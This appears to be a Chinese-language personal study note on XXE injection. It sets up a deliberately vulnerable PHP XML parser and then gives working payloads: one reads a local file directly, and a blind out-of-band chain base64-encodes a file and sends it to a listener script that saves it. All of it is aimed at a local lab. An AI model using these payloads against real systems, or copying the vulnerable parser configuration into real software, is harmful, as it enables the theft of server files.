XML External Entity
外部实体。

XML组成模块:元素,属性,实体,PCDATA,CDATA
实体分为内部实体和外部实体。和文件包含差不多。当初学文件包含的时候还说这就是命名问题,叫这个憨憨实体都行。

搭建环境:

<?php

    libxml_disable_entity_loader (false);       # 禁用加载外部实体的功能 把这个值调成false,那就是加载咯
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    // echo $xmlfile;
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);        # 解析成html
    echo $creds;

?>

把注释去掉就是blind xxe了。因为看不到回显????。

首先是有回显的:

1.png


<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [  
<!ENTITY b SYSTEM "file:///d:/xxe_test.txt"> ]> 
<a>&b;</a>

定义了一个通用实体,然后调用。这个实体读取了xxe_test.txt。

然后是没有回显的:

<?php

    libxml_disable_entity_loader (false);       # 禁用加载外部实体的功能 把这个值调成false,那就是加载咯
    // $xmlfile = file_get_contents('php://input');
    $xmlfile=$_POST['a'];
    $dom = new DOMDocument();
    // echo $xmlfile;
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    // $creds = simplexml_import_dom($dom);        # 解析成html
    // echo $creds;

?>

在用这个的时候我发现使用源封装器会出错,就直接用了post。

2.png


at first:

a=<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost/ctf/xxe_test.dtd">
%remote;%int;%send;
]>

定义一个参数实体(别问什么区别,问就是不知道)
然后调用这个实体:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/xxe_test.txt">
<!ENTITY % int "<!ENTITY &# 37; send SYSTEM 'http://127.0.0.1/?p=%file;'>">

这里定义了三个参数实体,%remote;%int;%send;
按照这个执行顺序,首先获取remote,然后执行int,int去调用了file获取数据,然后执行send发回到服务器。

这里我发现vps有点抽风,就在本地搭建了。

<?php
    file_put_contents('1.txt',$_GET['p']);
?>

明天xxe靶机搞来深入了解下。
明天合约写起来,小狐狸+web3.js。
明天…

明日复明日,明日何其多

原罪即是正义。